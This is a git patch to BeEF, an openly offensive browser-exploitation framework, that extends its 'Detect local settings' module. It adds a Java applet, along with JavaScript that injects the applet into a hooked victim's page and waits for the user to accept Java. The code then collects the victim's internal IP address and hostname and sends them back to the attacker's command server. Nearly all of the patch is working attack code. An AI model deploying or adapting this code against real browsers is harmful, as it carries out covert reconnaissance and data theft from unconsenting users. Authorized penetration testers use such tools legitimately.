From 63eef3e97e48dbcae882d309f85d7452aab00487 Mon Sep 17 00:00:00 2001 From: xntrik Date: Wed, 13 Jul 2011 01:56:58 +0000 Subject: [PATCH] Addresses some of issue 135 - local settings are detected for chrome with user interaction to accept java git-svn-id: https://beef.googlecode.com/svn/trunk@1062 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- .../detect_local_settings/Beeffeine.class | Bin 0 -> 1403 bytes .../detect_local_settings/Beeffeine.java | 48 ++++++++++++++++++ .../network/detect_local_settings/command.js | 39 +++++++++++--- .../network/detect_local_settings/config.yaml | 2 +- .../network/detect_local_settings/module.rb | 13 ++++- 5 files changed, 93 insertions(+), 9 deletions(-) create mode 100644 modules/network/detect_local_settings/Beeffeine.class create mode 100644 modules/network/detect_local_settings/Beeffeine.java diff --git a/modules/network/detect_local_settings/Beeffeine.class b/modules/network/detect_local_settings/Beeffeine.class new file mode 100644 index 0000000000000000000000000000000000000000..586d46706afeb9624c44fbd4e63c95375d7f5a76 GIT binary patch literal 1403 zcmZuwTTc@~6#k~Pon={|77A2UE(#Xpq9|1hqLhnN3sj0G5EHVrBd(O)+HO?{zrsgf ze8fk6DTyS$nivz~uQ2gPh-Z3%70m9QIeX5T?>m>7Z+||20WgAP1(#K{A*7-Y{R*zg zb%0|~g%?9o46C?`YYIkGT*nQLQ571(Qrwi{7RPM`5sonh;|lJ`=m`aPRRj^{xW_Tc z;GW-(B^a7ReeoCiD}6Yln;XMPJ7<_1W8|H((t@EeZkS@Bu(d97%ldkTEcHoSPi@ZY z+0uUrEJ}35#o!$`Ov9dFs0sBwVNjD+A(s-fhTPW>72?@5L2yHoj)51XiX^WhxXV#4D9S!#}M_H5-G=)8!v{IYG)^HIq4G-{;Bd%dy?rR(w9UXFf z98nDmSY&8DSzfeYWYQuhQ7&mn;E{$U3DNEd6sbbau(xO4q(s&>ER&&jc5x{ho1UIo zU}!pybVi8d=%(JII-Xm3+tjxNRg;u7fhpZIExR*rS(}Ayr~TZ>cgjiB9(9PpUn0=6 z*$fpuSy~u;$E@W!QPms5p0-kjEn(VGJx_i1Rp%+&^>`^hMlCJvtNc^rY0n(xRMrw! zjx-urjG-lT`Y6QYBqdGUO6i%&bUG*Ud4@J8O^mQB9-?bLqI1~k090s?AiUybLC+9Y zz)8Ef{z9bevA$J0PE@}z(+q>ofXWd)eQGOXr3@6?sy3*u!n!~MKo?!AAYC!Q1%|U| zCwUHFU*Um5*57^>?=QktM9sV}G2wSdJibKOTQ+%I@1a%Hu=fDom4SeFAG`>qh}wud z==Q5c)V)LS0NTnv>Vuvl8iH;TMKne{dk9Ck)8#*N>}o&ZYO1>a+0gty>xoPP)tEh; z1Z}Chf}W44K|h{i4ZhO413y0CJATmW!g=b&Dq2X^Qk;r9dKyqqz6P>3QXl26CXAz* zE^UBt&J$7_bn5PF(s!t{yVTjY=pfW?!tEvGOZbT%{6Yv92ssIUNFbb}gQJsPI*wA{ z5Z9d6s*~(4r@b7_IJ#Cjx?6XppmEZbE)SKGWb^=@{(ZE5B88ReQV9kafE$Bk=^@>P F-oN=DF<$@x literal 0 HcmV?d00001 diff --git a/modules/network/detect_local_settings/Beeffeine.java b/modules/network/detect_local_settings/Beeffeine.java new file mode 100644 index 000000000..a1ba7eb0b --- /dev/null +++ b/modules/network/detect_local_settings/Beeffeine.java @@ -0,0 +1,48 @@ +import java.applet.*; +import java.net.*; +import java.util.*; + +public class Beeffeine extends Applet { + + public String MyIP() + { + String string = "unknown"; + String string4 = getDocumentBase().getHost(); + byte j = 80; + String string2; + String string3 = "internal_ip="; + int k = 80; + if (getDocumentBase().getPort() != -1) + k = getDocumentBase().getPort(); + + try { + string2 = new Socket(string4 , k).getLocalAddress().getHostAddress(); + if (!string2.equals("255.255.255.255")) + string3 += string2; + + } + catch (SecurityException securityexception) { + string3 += "FORBIDDEN"; + } + catch (Exception exception) { + string3 += "exception"; + } + + string3 += "&internal_hostname="; + + try { + string3 += new Socket(string4 , k).getLocalAddress().getHostName(); + } + catch (Exception exception) { + string3 += "Cannot Lookup this IP"; + } + + return (string3); + } + + public Beeffeine() { + super(); + return; + } + +} diff --git a/modules/network/detect_local_settings/command.js b/modules/network/detect_local_settings/command.js index fc57c4e2b..dbb918672 100644 --- a/modules/network/detect_local_settings/command.js +++ b/modules/network/detect_local_settings/command.js @@ -14,12 +14,39 @@ // limitations under the License. // beef.execute(function() { - - var internal_ip = beef.net.local.getLocalAddress(); - var internal_hostname = beef.net.local.getLocalHostname(); + if (beef.browser.isFF()) { + var internal_ip = beef.net.local.getLocalAddress(); + var internal_hostname = beef.net.local.getLocalHostname(); - if(internal_ip && internal_hostname) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, - 'internal_ip='+internal_ip+'&internal_hostname='+internal_hostname); + if(internal_ip && internal_hostname) { + beef.net.send('<%= @command_url %>', <%= @command_id %>, + 'internal_ip='+internal_ip+'&internal_hostname='+internal_hostname); + } + } else { + //Trying to insert the Beeffeine applet + content = ""; + $j('body').append(content); + internal_counter = 0; + //We have to kick off a loop now, because the user has to accept the running of the applet perhaps + + + function waituntilok() { + try { + output = document.beeffeine.MyIP(); + beef.net.send('<%= @command_url %>', <%= @command_id %>, output); + $j('#beeffeine').detach(); + return; + } catch (e) { + internal_counter++; + if (internal_counter > 20) { //Timeout after 20 seconds + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=time out'); + $j('#beeffeine').detach(); //kill the applet + return; + } + setTimeout(function() {waituntilok()},1000); + } + } + //Lets not kick this off just yet + setTimeout(function() {waituntilok()},5000); } }); diff --git a/modules/network/detect_local_settings/config.yaml b/modules/network/detect_local_settings/config.yaml index b11a1669d..670cb0ea9 100644 --- a/modules/network/detect_local_settings/config.yaml +++ b/modules/network/detect_local_settings/config.yaml @@ -20,7 +20,7 @@ beef: category: "Network" name: "Detect local settings" description: "Grab the local network settings (ie internal ip address)." - authors: ["pdp", "wade", "bm"] + authors: ["pdp", "wade", "bm", "xntrik"] target: working: ["FF", "C"] not_working: ["IE"] \ No newline at end of file diff --git a/modules/network/detect_local_settings/module.rb b/modules/network/detect_local_settings/module.rb index d06188175..3cfe1b109 100644 --- a/modules/network/detect_local_settings/module.rb +++ b/modules/network/detect_local_settings/module.rb @@ -20,7 +20,7 @@ class Detect_local_settings < BeEF::Core::Command 'Name' => 'Detect local settings', 'Description' => 'Grab the local network settings (i.e internal ip address)', 'Category' => 'Network', - 'Author' => ['pdp', 'wade', 'bm'], + 'Author' => ['pdp', 'wade', 'bm', 'xntrik'], 'File' => __FILE__ }) @@ -30,7 +30,7 @@ class Detect_local_settings < BeEF::Core::Command }) set_target({ - 'verified_status' => VERIFIED_WORKING, + 'verified_status' => VERIFIED_USER_NOTIFY, 'browser_name' => C }) @@ -43,6 +43,12 @@ class Detect_local_settings < BeEF::Core::Command use_template! end + def pre_send + #Mount the Beeffeine.class on /Beeffeine.class + #Unsure if there's something we can add here to check if the module was already mounted? + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/network/detect_local_settings/Beeffeine.class','/Beeffeine','class') + end + def callback content = {} content['internal ip'] = @datastore['internal_ip'] if not @datastore['internal_ip'].nil? @@ -50,6 +56,9 @@ class Detect_local_settings < BeEF::Core::Command content['fail'] = 'could not grab local network settings' if content.empty? + #Unmount the class now, it's no longer required. + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/Beeffeine.class'); + save content end